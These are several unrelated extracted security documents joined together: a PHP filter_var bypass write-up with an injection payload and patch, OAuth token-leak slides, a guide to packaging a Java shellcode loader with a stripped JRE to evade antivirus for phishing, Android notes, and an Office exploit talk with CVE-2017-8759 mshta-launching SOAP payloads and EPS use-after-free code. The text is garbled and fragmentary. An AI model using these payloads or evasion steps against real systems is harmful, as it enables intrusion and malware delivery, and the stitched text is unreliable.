!isalnum((int)*(unsigned char *)s))) { return 0; } while (s < e) { if (*s == '.') { /* The first and the last character of a label must be alphanume if (*(s + 1) == '.' || (hostname && (!isalnum((int)*(unsigned ch return 0; } /* Reset label length counter */ i = 1; } else { if (i > 63 || (hostname && *s != '-' && !isalnum((int)*(unsigned return 0; } i++; } s++; } return 1; } 2022/3/28 10:36 PHP filter_var 恶作剧 :: pwning.systems https://pwning.systems/posts/php_filter_var_shenanigans/ 5/7 因此,如果我们将以下⽤户输⼊传递给程序,我们将能够以第⼀个示例中描述的⽅式实现代码执 ⾏。 胜利!这次我们能够绕过过滤器并获得易受攻击的代码。 因为 PHP 安全团队还没有修复这个问题,所以我在下⾯附上了我⾃⼰的单⾏补丁,你可以使⽤ 命令申请 git am $patchfile 。 From 9c064e66226c9da5b9c0170342ba516055a31be5 Mon Sep 17 00:00:00 2001 From: Jordy Zomer <jordy@pwning.systems> Date: Fri, 25 Mar 2022 18:03:34 +0100 Subject: [PATCH] Fix integer conversion that results in filter bypass. <?php // normal usage var_dump(filter_var("example.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_ // filter bypass var_dump(filter_var("5;id;" . str_repeat("a", 4294967286) . "a.com", FI // DoS/Memory corruption var_dump(filter_var(str_repeat("a", 2294967286), FILTER_VALIDATE_DOMAIN ?> $userinput = "5;id;" . str_repeat("a", 4294967286) . "a.com"; 注意:由于 PHP 安全团队缺乏回应,我决定公开此漏洞。特别是因为尽管有很多请求,我 还没有收到任何更新。由于漏洞可以很容易地被利⽤,我相信社区有权了解它。 > 2022/3/28 10:36 PHP filter_var 恶作剧 :: pwning.systems https://pwning.systems/posts/php_filter_var_shenanigans/ 6/7 Signed-off-by: Jordy Zomer <jordy@pwning.systems> --- ext/filter/logical_filters.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ext/filter/logical_filters.c b/ext/filter/logical_filters.c index 91bf929a9d..96a6c72b56 100644 --- a/ext/filter/logical_filters.c +++ b/ext/filter/logical_filters.c @@ -504,7 +504,7 @@ void php_filter_validate_regexp(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ } } -static int _php_filter_validate_domain(char * domain, int len, zend_long flags) /* {{{ */ +static int _php_filter_validate_domain(char * domain, size_t len, zend_long flags) /* {{{ */ { char *e, *s, *t; size_t l; -- 2.32.0 此漏洞利⽤存在⼀些限制,例如,⽤户输⼊的⼤⼩必须为 4GB(这是⼤量数据,可能由于某些 Web 服务器和负载平衡器的配置⽽⽆法实现)。 和往常⼀样,我希望你觉得这篇⽂章很有趣。任何和所有的反馈都表示赞赏: ⼲杯, 乔迪 乔迪·佐默 panr制作的主题 2022/3/28 10:36 PHP filter_var 恶作剧 :: pwning.systems https://pwning.systems/posts/php_filter_var_shenanigans/ 7/7
pdf
001 Speaker@YongShao • • • • Whoami Oauth2.0 • • • ()! • • • Web https://facebook.com/dialog/oa uth?response_type=code&clien t_id=CLIENT_ID&redirect_uri=R EDIRECT_URI&scope=email&sta te=1234zyx • • https://open.weixin.qq.com/connect/oauth 2/authorize?appid=wxc43*******&respon se_type=code&scope=snsapi_base&redirec t_uri=http://baidu.com&state=********** *&connect_redirect=1#wechat_redirect Token Leak Timelime: 2018.02.13 Redirect vulnerability 2018.03.20 Find token leak 2018.03.21 Report Vulnerability 2018.03.30 Fixed Detail • • Detail Detail POC/EXP Write js Write php POC/EXP POC/EXP IM Login Redirect • • ➜ • Qrljacking Qrljacking Qrljacking Qrljacking Qrljacking Qrljacking app app app CSRF CSRF /oauth/weibo/redirect CSRF CSRF CSRF API Leak API Leak API Leak Login Google Jetbrains Team Work Use old poc xss Platform got it Demo MP4 Other Redirect Bypass :::25/.. #25 :::25/.. :::25 :::25 :::55.5:::25 2#5 :::55.525 :::55.525 :::55.525 :::55.5%25 :::55.525 :::55.525 Help Me(how to fixed) Help Me(how to fixed) ! How$I$Hacked$[Oculus] OAuth$+Ebay$+IBM Stealing$Facebook access_tokens$using$CSRF in$device$login$flow Internet$Explorer$has$a URL$problem Authentication$bypass$on Airbnb$via$OAuth$tokens theft Stealing$Access$Token$of One-drive$Integration$By Chaining$CSRF Vulnerability Stealing$0Auth$Token (MITM) Finding$hidden$gems$vol. 1:$forging$OAuth$tokens using$discovered$client$id and$client$secret Speaker@YongShao
pdf
1 精简JRE打造⽆依赖的Java-ShellCode-Loader 前⾔ jre⽬录结构 lib⽬录 bin⽬录 精简rt.jar 精简dll ⾃解压捆绑执⾏ EnigmaVirtualBox打包全部⽂件 EnigmaVirtualBox打包jre 最后 @yzddMr6 利⽤⼩众语⾔进⾏免杀⼀直是⼀个屡试不爽的⽅法,从python到go再到现在的nim免杀,⽤的⼈越 多杀软的检测也就越来越严格。现在⾃⼰写的go程序基本只要涉及到⽹络通信360就⼲掉了。那么还有没 有什么新的姿势呢? 之前介绍过在As-Exploits中⽤到的基于JNA实现的 ShellCodeLoader(https://t.zsxq.com/022FQrFAu),这个Loader在精简后不到1m,配合JarLoader模 块在插件⾥⾯可以直接内存加载,⽂件不落地。后来发现落地了问题也不⼤,到现在VT还是0/57。所以 前⾔ 2 后来抽出来作为⼀个单独的项⽬:https://github.com/yzddmr6/Java-Shellcode-Loader 实战⾥⾯有Java的WebShell⽤起来⾮常⽅便,⼀键免杀xxx。但是缺点是如果⽤来钓⻥,或者碰上 jdk环境过⾼过低都⽤不了,还是有局限性。所以就研究了⼀下怎么跟jre⼀起打包成⼀个单独的可执⾏⽂ 件exe。 ⽬前成果如下:⽤⾃解压精简后带jre环境的exe只有6.5m,⽤Enigma Virtual Box压缩模式8.5m, 跟python打包后差不多⼤⼩,VT 6/67,基本可以实现我们的需求。 原版⼀个jre⼤概快200m,在没有安装jre环境的普通⽤户来说,显然带着整个jre和后⻔⼀起打包是 不可能的了,但我们可以从jre中提取加载后⻔时需要⽤到的class⽂件,并集合到⼀起,这样就能⼤⼤压缩 jre的体积。 jre最主要的两个⽬录是bin跟lib,bin下主要是各类dll跟可执⾏⽂件,lib下是java的依赖库。精简jre 就可以从这两⽅⾯⼊⼿。 access-bridge-64.jar Java Accessibility API是Java Accessibility Utilities的⼀部分,它是⼀组实⽤程序类,可帮助辅助技术提供对实 现Java Accessibility API的GUI⼯具包的访问。 charsets.jar Java 字符集,包含 Java 所有⽀持字符的字符集 cldrdata.jar jre⽬录结构 lib⽬录 3 Unicode CLDR为软件提供了⽀持世界语⾔的关键构建块,提供了最⼤和最⼴泛的语⾔环境数据库。 这些数据被 ⼴泛的公司⽤于其软件国际化和本地化,使软件适应不同语⾔的惯例以⽤于此类常⻅软件任务. deploy.jar Java安装⽬录的常⻅部分 - 该⽂件运⾏某些产品的安装。 正确设置Java路径后,⽤户可以执⾏此⽂件(只需双 击它或按⽂件上的Enter键),要部署的应⽤程序将运⾏其安装程序。 例如。 诺基亚OVI套件通常使⽤这种部署 形式。 作为彼此的JAVA包,如果您将其重命名为ZIP并打开内容,则可以检查包中的类。 dnsns.jar 即DNS naming service ,提供DNS地址服务的包,⾥⾯只有2个⽅法 getHostByAddr和 lookupAllHostAddr jaccess.jar 定义Assistive Technologies.AWT(Abstract Window Toolkit)使⽤的JDK实⽤程序类 javaws.jar JNLP(Java Network Launching Protocol )是java提供的⼀种可以通过浏览器直接执⾏java应⽤程序的途径。 jce.jar java类库是java发布之初就确定了的基础库, ⽽javax类库则是在上⾯增加的⼀层东⻄,就是为了保持版本兼容 要保存原来的,但有些东⻄有了更好的解决⽅案, 所以,就加上些,典型的就是awt(Abstract Windowing ToolKit) 和swing。) 这个包都是加密相关的。 jfr.jar 和 jdk\bin\jmc.exe有关系。Java Mission Control 包括 JMX 控制台和 Java ⻜⾏记录器。 Java ⻜⾏记录器 (JFR) 是⼀个⽤于收集有关正在运⾏的 Java 应⽤程序的诊断数据和概要分析数据的⼯具。它集成到 Java 虚拟 机 (JVM) 中, ⼏乎不会带来性能开销,因此甚⾄可以在⾼负载⽣产环境中使⽤。使⽤默认设置时,内部测试和 客户反馈表明性能影响低于 1%。 对于⼀些应⽤程序,这⼀数字会⼤幅降低。但是,对于短时间运⾏的应⽤程 序 (不是在⽣产环境中运⾏的应⽤程序类型), 相对的启动和预热时间可能会较⻓,这对性能的影响可能会超过 1%。JFR 收集有关 JVM 及其上运⾏的 Java 应⽤程序的数据。 jfxrt.jar JDK有个 rt.jar ,是存储JAVA语⾔核⼼类的的。这个jfxrt.jar就相当于JavaFX的rt.jar. JavaFX是⼀组图形和媒体 包,使开发⼈员能够设计,创建,测试,调试和部署在不同平台上⼀致运⾏的富客户端应⽤程序。在jdk最新的 发版当中,javafx的包已经被移除了。 jfxswt.jar 也是和JavaFx相关,为JavaFx和Swing提供⼀些兼容性操作。 jsse.jar SSL连接,验证的包, 4 localedata.jar ⽇期显示国际化的包,⾥⾯包含各地区的⽇期⽂字。 management-agent.jar ⾥⾯只有⼀个⽂本⽂件。 nashorn.jar 包括 1.动态链接.包含⽤于链接调⽤的动态调⽤站点的接⼝和类。 dynalink与java.lang.invoke包密切相关,并且依赖 于该包。 虽然java.lang.invoke为invoke dynamic调⽤站点的动态链接提供了⼀个低级别的API,但它不提供⼀ 种⽅法来表示对象的更⾼级别操作,也不提供实现这些操作的⽅法。 如果⼀种语⾔是静态类型的,并且它的类 型系统与JVM的类型系统匹配,那么它可以使⽤通常的调⽤、字段访问等指令(例如invokevirtual、getfield) 来实现这⼀点。 但是,如果语⾔是动态的(因此,某些表达式的类型直到在运⾏时进⾏计算时才知道),或者 其对象模型或类型系统与JVM的对象模型或类型系统不匹配, 那么它应该使⽤invokedynamic调⽤站点,并让 dynalink管理它们。 2.Javascript引擎 从 JDK 8 开始,Nashorn取代 Rhino 成为 Java 的嵌⼊式 JavaScript 引擎。Nashorn 完全⽀持 ECMAScript 5.1 规范以及⼀些扩展。该特性允许开发⼈员将 JavaScript 代码嵌⼊到 Java 中,甚⾄从嵌⼊的 JavaScript 中调⽤ Java。此外, 它还提供了使⽤jrunscript从命令⾏运⾏ JavaScript 的能⼒。 plugin.jar 功能很庞⼤的⼀个包。 resources.jar 提示信息显示国际化的包,⾥⾯各地区的⽂字,图⽚等。 rt.jar java核⼼源代码包 sunec.jar ,sunjce_provider.jar,sunmscapi.jar,sunpkcs11.jar 都是加密相关的包。 zipfs.jar java 对zip⽂件操作的⽀持。 只找到了jdk/bin⽬录的介绍,jre有些没有,将就着看⼀下吧 bin⽬录 appletviewer.exe ⽤于运⾏并浏览applet⼩程序。 5 apt.exe 注解处理⼯具(Annotation Processing Tool),主 要⽤于注解处理。 extcheck.exe 扩展检测⼯具,主要⽤于检测指定jar⽂件与当前 已安装的Java SDK扩展之间是否存在版本冲突。 idlj.exe IDL转Java编译器(IDL-to-Java Compiler),⽤于 为指定的IDL⽂件⽣成Java绑定。IDL意即接⼝定 义语⾔(Interface Definition Language)。 jabswitch.exe Java访问桥开关(Java Access Bridge switch), ⽤于启⽤/禁⽤Java访问桥。Java访问桥内置于 Java 7 Update 6及以上版本,主要为Windows系 统平台提供⼀套访问Java应⽤的API。 jar.exe jar⽂件管理⼯具,主要⽤于打包压缩、解压jar⽂ 件。 jarsigner.exe jar密匙签名⼯具。 java.exe Java运⾏⼯具,⽤于运⾏.class字节码⽂件或.jar ⽂件。 javac.exe Java编译⼯具(Java Compiler),⽤于编译Java源 代码⽂件。 javadoc.exe Java⽂档⼯具,主要⽤于根据Java源代码中的注 释信息⽣成HTML格式的API帮助⽂档。 javafxpackager.exe JavaFX包装器,⽤于执⾏与封装或签名JavaFX应 ⽤有关的任务。 javah.exe Java头⽂件⼯具,⽤于根据Java类⽣成C/C++头 ⽂件和源⽂件(主要⽤于JNI开发领域)。 javap.exe Java反编译⼯具,主要⽤于根据Java字节码⽂件 反汇编为Java源代码⽂件。 java-rmi.exe Java远程⽅法调⽤(Java Remote Method Invocation)⼯具,主要⽤于在客户机上调⽤远程 服务器上的对象。 javaw.exe Java运⾏⼯具,⽤于运⾏.class字节码⽂件或.jar ⽂件,但不会显示控制台输出信息,适⽤于运⾏ 图形化程序 6 图形化程序。 javaws.exe Java Web Start,使您可以从Web下载和运⾏ Java应⽤程序,下载、安装、运⾏、更新Java应 ⽤程序都⾮常简单⽅便。 jcmd.exe Java 命令⾏(Java Command),⽤于向正在运⾏ 的JVM发送诊断命令请求。 jconsole.exe 图形化⽤户界⾯的监测⼯具,主要⽤于监测并显 示运⾏于Java平台上的应⽤程序的性能和资源占 ⽤等信息。 jdb.exe Java调试⼯具(Java Debugger),主要⽤于对 Java应⽤进⾏断点调试。 jhat.exe Java堆分析⼯具(Java Heap Analysis Tool),⽤ 于分析Java堆内存中的对象信息。 jinfo.exe Java配置信息⼯具(Java Configuration Information),⽤于打印指定Java进程、核⼼⽂ 件或远程调试服务器的配置信息。 jmap.exe Java内存映射⼯具(Java Memory Map),主要⽤ 于打印指定Java进程、核⼼⽂件或远程调试服务 器的共享对象内存映射或堆内存细节。 jmc.exe Java任务控制⼯具(Java Mission Control),主要 ⽤于HotSpot JVM的⽣产时间监测、分析、诊 断。 jps.exe JVM进程状态⼯具(JVM Process Status Tool), ⽤于显示⽬标系统上的HotSpot JVM的Java进程 信息。 jrunscript.exe Java命令⾏脚本外壳⼯具(command line script shell),主要⽤于解释执⾏javascript、groovy、 ruby等脚本语⾔。 jsadebugd.exe Java可⽤性代理调试守护进程(Java Serviceability Agent Debug Daemon),主要⽤ 于附加到指定的Java进程、核⼼⽂件,或充当⼀ 个调试服务器。 堆栈 踪 主 打印指定 进 7 jstack.exe Java堆栈跟踪⼯具,主要⽤于打印指定Java进 程、核⼼⽂件或远程调试服务器的Java线程的堆 栈跟踪信息。 jstat.exe JVM统计监测⼯具(JVM Statistics Monitoring Tool),主要⽤于监测并显示JVM的性能统计信 息。 jstatd.exe jstatd(VM jstatd Daemon)⼯具是⼀个RMI服务器 应⽤,⽤于监测HotSpot JVM的创建和终⽌,并 提供⼀个接⼝,允许远程监测⼯具附加到运⾏于 本地主机的JVM上。 jvisualvm.exe JVM监测、故障排除、分析⼯具,主要以图形化 界⾯的⽅式提供运⾏于指定虚拟机的Java应⽤程 序的详细信息。 keytool.exe 密钥和证书管理⼯具,主要⽤于密钥和证书的创 建、修改、删除等。 kinit.exe 主要⽤于获取或缓存Kerberos协议的票据授权票 据。 klist.exe 允许⽤户查看本地凭据缓存和密钥表中的条⽬(⽤ 于Kerberos协议)。 ktab.exe Kerberos密钥表管理⼯具,允许⽤户管理存储于 本地密钥表中的主要名称和服务密钥。 native2ascii.exe 本地编码到ASCII编码的转换器(Native-to-ASCII Converter),⽤于"任意受⽀持的字符编码"和与 之对应的"ASCII编码和(或)Unicode转义"之间的 相互转换。 orbd.exe 对象请求代理守护进程(Object Request Broker Daemon),它使客户端能够透明地定位和调⽤位 于CORBA环境的服务器上的持久对象。 pack200.exe JAR⽂件打包压缩⼯具,它可以利⽤Java类特有 的结构,对普通JAR⽂件进⾏⾼效压缩,以便于 能够更快地进⾏⽹络传输。 packager.exe 这是微软提供的对象包装程序,⽤于对象安装 包 8 rt.jar是java核⼼源代码包,原版有61m,我们主要的精简也就是从这⾥⼊⼿。原理是jar包运⾏是加 上-XX:+TraceClassLoading参数可以打印出所有被加载过的class⽂件,然后在对这部分class进⾏⼆次 打包,⽣成我们的精简rt.jar。这⾥借MG师傅的图⼀⽤: 精简rt.jar 包。 policytool.exe 策略⼯具,⽤于管理⽤户策略⽂件 (.java.policy)。 rmic.exe Java RMI 编译器,为使⽤JRMP或IIOP协议的远 程对象⽣成stub、skeleton、和tie类,也⽤于⽣ 成OMG IDL。 rmid.exe Java RMI 激活系统守护进程,rmid启动激活系统 守护进程,允许在虚拟机中注册或激活对象。 rmiregistry.exe Java 远程对象注册表,⽤于在当前主机的指定端 ⼝上创建并启动⼀个远程对象注册表。 schemagen.exe XML schema⽣成器,⽤于⽣成XML schema⽂ 件。 serialver.exe 序列版本命令,⽤于⽣成并返回 serialVersionUID。 servertool.exe Java IDL 服务器⼯具,⽤于注册、取消注册、启 动和终⽌持久化的服务器。 tnameserv.exe Java IDL瞬时命名服务。 unpack200.exe JAR⽂件解压⼯具,将⼀个由pack200打包的⽂ 件解压提取为JAR⽂件。 wsgen.exe XML Web Service 2.0的Java API,⽣成⽤于 JAX-WS Web Service的JAX-WS便携式产物。 wsimport.exe XML Web Service 2.0的Java API,主要⽤于根据 服务端发布的wsdl⽂件⽣成客户端存根及框架 xjc.exe 主要⽤于根据XML schema⽂件⽣成对应的Java 类。 9 代码是参考MG1937师傅的这篇⽂章,https://www.cnblogs.com/aldys4/p/14879607.html,修改 后代码如下: 10 Plain Text 复制代码 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; public class Main {   public static void main(String[] arg) throws IOException {       Runtime runtime = Runtime.getRuntime();       String[] command = {"java", "-jar", "-XX:+TraceClassLoading", "D:\\ShellcodeLoader_jar\\ShellcodeLoader.jar", "aaaa"}; //这⾥要加上参数       Process process = runtime.exec(command);       BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream()));       StringBuffer sBuffer = new StringBuffer();       List<String> list = new ArrayList<String>();       int i = 0;       String lineString;       while ((lineString = bReader.readLine()) != null) {           String core = getCore(lineString);           if (core != "") {               sBuffer.append("\n" + core);               list.add(getCore(lineString.replace(".", "/")));           }           i++;       }       bReader.close();       System.out.println(sBuffer.toString());       list.add(0, "D:\\rt.jar");       list.add(0, "xvf");       list.add(0, "jar");       String[] jar = list.toArray(new String[list.size()]);       process = runtime.exec(jar);       getOutput(process);       System.out.println("Load class:" + i);       System.out.println("jar xvf done!");       String[] cmdJarPackage = cmd("jar cvf rt.jar com java javax META- INF org sun sunw");       runtime.exec(cmdJarPackage);       System.out.println("All done!");   }   public static String getCore(String line) {       String result = null; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 11       if (line.startsWith("[Loaded")) {           if (line.indexOf(".jna.") > 0 || line.indexOf("asexploits") > 0) {               return "";//过滤jna包跟我们⾃⼰的包名           } else {               result = line.split(" ")[1];           }           return result;       } else {           return "";       }   }   public static String[] cmd(String cmd) {       return cmd.split(" ");   }   public static void getOutput(Process process) throws IOException {       BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream()));       while (bReader.readLine() != null) {           System.out.println("\n" + bReader.readLine());       }   } } 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 12 这⾥有⼀个坑点,就是第⼀次获取加载的class信息的时候没有加上ShellCode参数,也就会导致有 些运⾏期间才会⽤到的类没有加载。 解决办法就是加上要执⾏的ShellCode,把执⾏过程中所有加载的类都暴露出来,然后再打包。这⾥ 的aaaa随便写,只要能⾛到注⼊的过程就可以。可以看到现在的rt.jar已经不报错了。 精简之前lib⽬录是104m,现在已经压缩到44m了。 我们压缩后的rt.jar也只有1.8m⼤⼩ 13 这样肯定还是不够的,剩下⽬录⾥也有很多冗余的⽂件,这部分基本直接删除就可以了,不需要⼆ 次打包。另外charsets.jar还是有优化空间的,可以⽤类似rt.jar的⽅法进⾏精简,这⾥就懒得处理了。 最后的lib只有5m⼤⼩了。 精简dll 14 bin⽬录同样很⼤,也是我们要优化的对象。 这⾥采取的办法是⽤process explorer查看程序运⾏时加载了哪些dll或者exe,仅保留这部分,其他 的都可以删掉。 注意这⾥最好加⼀个System.in.read()保持控制台不退出,不然就会⼀闪⽽过,process explorer就 看不到了。 还有⼀个简单的办法,在程序跑起来的同时,删除bin⽬录下所有⽂件,如果提示被占⽤了那么就是 被打开了,把这部分跳过即可。 15 精简过后的bin⽬录⼤概10m,主要是jvm.dll⽐较⼤。他是jvm的核⼼链接库,不能轻易改动。 环境整好了,接下来就是让他跑起来。⾃解压是钓⻥⽼套路了,搞个vbs来运⾏我们的jar。这⾥的 ShellcodeLoader.jar我硬编码了⼀个弹计算器的ShellCode先测试⼀下。 ⾃解压捆绑执⾏ Plain Text 复制代码 Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c .\jre\bin\java.exe -jar .\ShellcodeLoader.jar" 1 2 16 执⾏成功 压缩出来6.5m 17 VT 6/62还好,但是360杀了,估计⾃解压这种已经进特征库了。 18 ⾃解压估计已经被重点监控了,⽤EnigmaVirtualBox把jre跟jar打包成⼀个单独的exe试试 这⾥install.exe是偷懒⽤msfvenom -p windows/exec⽣成的 EnigmaVirtualBox打包全部⽂件 19 可以执⾏,但是会有UAC提示框,不太⾏ VT上查杀过半了,看来不能偷懒 后来⼜⽤C++写了⼀个exe去调⽤,还是杀的⽐较多 20 不过话说我为什么要打包到⼀起呢,沙箱⾥⾯⼀跑就出来了,这就失去了jar的优势:jar除了可以分 离真正的Payload以外,本身就可以加各种混淆,各种商业软件也都是带混淆的,杀软也不能直接杀。 转换思路,我可以仅打包⼀个⼈畜⽆害的jre到exe,然后再jre.exe -jar xxx去调⽤。 打包⽅法同上,打包出来后8.2m,测试⼀下能不能⽤ EnigmaVirtualBox打包jre 21 执⾏成功 xxx不杀 22 VT测⼀下还有6个引擎检出。。。这tm就是个java.exe啊,还Static ML,真就瞎告呗。这样说我也能搞 ⼀个杀毒引擎,看到PE头就杀,名字就叫Deep Static ML。 本⽂仅⽤于安全研究,请勿⽤于⾮法⽤途。如果有什么问题欢迎交流。 最后
pdf
apk-message 0x00 appandroidmessage 0x01 message message messagedemo appA Bandroid 1. message Message message= new Message() Message message= Message.obtain() Messager message= handler.obtaionMessager() obtain 2. Message message = Message.obtain(); // message.what = 0; //whatmessage code message.arg1 = 1; //int message.arg2 = 2; //int message.obj = "aaaaa"; // //bundlek-vbundlemap Bundle bundle = new Bundle(); bundle.putString("name",""); message.setData(bundle); 3. handler handler //handlerhandleMessage private Handler handler = new Handler(){ @Override public void handleMessage(Message msg){ super.handleMessage(msg); int msgcode = msg.what;//code int arg1 = msg.arg1; // int arg2 = msg.arg2; String resultMsg = (String)msg.obj; //string Bundle bundle = msg.getData();//bundle String name = bundle.getString("name"); } } 4. 1. messagehandlermsg.sendToTarget()handler 2. messagehandler.sendMessage(msg)handler Ahandlermsgmsg BBmsgsendToTargetAhandler demomainhandlersetHandler handlermsgmsgsendMessage 0x02 app apk //apkclasses.dex d2j-dex2jar.sh classes.dex //jarjd-guijar urlclass setProperty xxx_url setPropertygetPropertyxxxUrl ThreadMessage 0x03 handler threadMessage3handlerparamMessageobj sendRequestthreadMessage3objmDataurl sendRequest post bodyurlrequestWithURL makeHttpConn 0x03 PUTmsgmDatamData mDatathreadMessage 1. sendToTargethandler 2. case 5 msg.what5threadMessage 3. paramh.e()utf8byte 1. paramh.e() 2. xxxxResponse e xmlbodyplistplist body makeBaseResponse plist 0x04 plistjsonplist body 1. PUTurl 2. header 3. bodyplist 0x05 messagefrida
pdf
重装上阵:Office攻击来袭 朱季峰 杨军锋 议程: • ⼀一 2017年年Office威胁分析与回顾 • ⼆二 如何建⽴立终端Office威胁防护机制 • 三 2017年年Office ITW 0day原因分析 • 四 关于2018年年Office威胁趋势的预测 2017年年Office威胁分析与回顾 • Case study 1:定向攻击中使⽤用Office作为攻击武器器 • 样本⾸首现时间:2016-12-26 • 攻击跨度时间:2016-12-27 ~ 2017-02 • 事件背景:北北约-俄罗斯理理事会举⾏行行年年内第三次⼤大使级会议,2016-12-19⽇日 • 攻击事件信息披露露:《Matryoshka Doll Reconnaissance Framework》by Cisco/Talos Research Team , 2017-01-27 2017年年Office威胁分析与回顾 • Case study 1:定向攻击中使⽤用Office作为攻击武器器 2017年年Office威胁分析与回顾 • Case study 1:定向攻击中使⽤用Office作为攻击武器器 • (RTF)Archives-> • OLE Stream 0 -> • Documents -> • Objects(Shockwave.Flash) • RootEntry • \3Objectinfo • \3OCXNAME • \Contents 2017年年Office威胁分析与回顾 • Case study 1:定向攻击中使⽤用Office作为攻击武器器 • (RTF)Archives-> • … • \Contents • 1 2 3 3 2017年年Office威胁分析与回顾 • Case study 1:定向攻击中使⽤用Office作为攻击武器器 • (RTF)\Contents • Init(…) 4 Onload(…) 5 expLoaded(…) PayLoaded(…) 6 7 根据目标系统, 下载对应的漏洞 利用代码,否则 退出。 真实攻击代 码与前期信 息采集分离 2017年年Office威胁分析与回顾 • Case study 2:CVE-2017-0199/CVE-2017-8570 • 样本⾸首现时间:~2017-04-07前 • 攻击跨度时间:2017-04-07 ~ ⾄至今 • 事件背景:1 逻辑漏漏洞洞,2 CVE-2017-0199包含2个漏漏洞洞,3 2017 Pwnie Awards for best client-side bugs • 攻击事件信息披露露:《Critical Office Zero-Day Attacks Detected in the Wild 》by McAfee Labs,2017-04-07 2017年年Office威胁分析与回顾 • Case study 2:CVE-2017-0199/CVE-2017-8570 • (RTF)Archives-> • OLE Stream 0 -> • Documents -> • Object (URL Moniker) Svchost.exe Mshta.exe Malicious script 1 2 1 3 4 2017年年Office威胁分析与回顾 • Case study 3:CVE-2017-8759-Microsoft .NET Framework 漏漏洞洞 • 样本⾸首现时间:~2017-09-12 • 攻击跨度时间:2017-09-12 ~ ⾄至今 • 攻击事件信息披露露:《 FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY 》by FireEye/Threat Research,2017-09-12ƒß 2017年年Office威胁分析与回顾 • Case study 3:CVE-2017-8759-Microsoft .NET Framework 漏漏洞洞 • RTF)Archives-> • OLE Stream 0 -> • Documents -> • Object(soap moniker) .net SOAP WSDL parser <soap:address location=" http://127.0.0.1:8080?C:\Windows\System32\mshta.exe?http://127.0.0.1:8080/c md.hta"/> <soap:address location="; if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null ) { System.Diagnostics.Process.Start(_url.Spl it('?')[1], _url.Split('?')[2]); System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0] , true); } //"/> 1 2 Framework\??\csc.exe http100localhost180800exploit4txt.dll 3 4 2017年年Office威胁分析与回顾 • Case study 3:CVE-2017-8759-Microsoft .NET Framework 漏漏洞洞 .net SOAP WSDL parser 1 2 Framework\??\csc.exe http100localhost180800exploit4txt.dll 3 4 Soap monikier Malicious XML 编译完的dll被加载到winword.exe进程, 通过命令,利用mshta执行指定的恶 意脚本文件 Winword.exe 5 2017年年Office威胁分析与回顾 • Case study 4:CVE-2017-0261/CVE-2017-0262-EPS UAF漏漏洞洞 • 样本⾸首现时间:~2017-05-09 • 攻击跨度时间:2017-05-09 ~ ⾄至今 • 攻击事件信息披露露:《 EPS Processing Zero-Days Exploited by Multiple Threat Actors 》by FireEye/Threat Research,2017-05-09 2017年年Office威胁分析与回顾 • Case study 4:CVE-2017-0261/CVE-2017-0262-EPS UAF漏漏洞洞 • 2015-09-08 CVE-2015-2545 (Unclear) • 2015-12-16 Variant of CVE-2015-2545 (Unclear) • 2017-03 CVE-2017-0261 (Turla ) • 2017-04 CVE-2017-0262 (APT-28 ) • 所有⽬目前已知的EPS漏漏洞洞,均与forall操作符相关 • 在>=Office 2010,微软将Graphics Filters的解析都放到了了独⽴立的沙盒地址fltldr.exe中, EMET默认不不保护fltldr.exe 2017年年Office威胁分析与回顾 • CVE-2015-2545 /aDictZ 3 dict def aDictZ begin /keyZ1 11 array def /keyZ2 12 array def aDictZ end aDictZ { aDictZ /keyZ2 undef } forall Syntax: dict key undef - Remove key and its value from dict 2017年年Office威胁分析与回顾 • CVE-2015-2545 变种 /aDictZ 3 dict def aDictZ begin /keyZ1 1000 array def /keyZ2 10000 array def aDictZ end /aDictY 1 dict def aDictY begin /keyZ1 200 array def aDictY end aDictZ { aDictY aDictZ copy } forall Syntax: dict1 dict2 copy dict2 Copy contents of dict1 to dict2 2017年年Office威胁分析与回顾 • CVE-2017-0261 /i 0 def /snapshot save def /uaf_str 80 string def uaf_str { i 0 eq { snapshot restore } /i i 1 add def } forall /i 0 def /snapshot save def /uaf_array 80 array def uaf_array { i 0 eq { snapshot restore } /i i 1 add def } forall 2017年年Office威胁分析与回顾 • CVE-2017-0262 /dumb_array 80 array def dumb_array 16#888888 forall 2017年年Office威胁分析与回顾 • 2017-04 微软禁⽤用了了EPS… 2017年年Office威胁分析与回顾 • Case study 5: CVE-2017-11826 类型混淆漏漏洞洞 • 样本⾸首现时间:2017-09-28 • 攻击跨度时间:2017-09-28 ~ ⾄至今 • 攻击事件信息披露露:《 最新Office 0day漏漏洞洞(CVE-2017-11826)在野攻击通告 》By 奇⻁虎 360公司, 2017-10-11 2017年年Office威胁分析与回顾 • Case study 5:CVE-2017-11826 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/ma in"> <w:body > <w:shapeDefaults > <o:OLEObject > <w:font w:name="LincerCharChar裬 font:batang"><o:xxx/> </o:OLEObject> </w:shapeDefaults> </w:body> </w:document> 2017年年Office威胁分析与回顾 • Case study 5:CVE-2017-11826 index elements 6 5 o:xxx 4 w:font 3 o:OLEObject 2 w:shapeDefaults 1 w:body 0 w:document ; size: 0x5c bytes +0x44 TAG_OBJ *obj; +0x48 FARPROC DeleteObj; ; OleObject size: 0x4c bytes +0x44 OleComObject 2017年年Office威胁分析与回顾 • Case study 5:CVE-2017-11826 index elements 6 5 o:xxx 4 w:font 3 o:OLEObject 2 w:shapeDefaults 1 w:body 0 w:document ; size: 0x5c bytes +0x44 TAG_OBJ *obj; +0x48 FARPROC DeleteObj; ; FontObject size: 0x100 bytes +0x28 wchar_t name[N] 2017年年Office威胁分析与回顾 • Case study 5: CVE-2017-11826 2017年年Office威胁分析与回顾 • Case study 5:CVE-2017-11882 EQNEDT32.EXE栈溢出漏漏洞洞 • 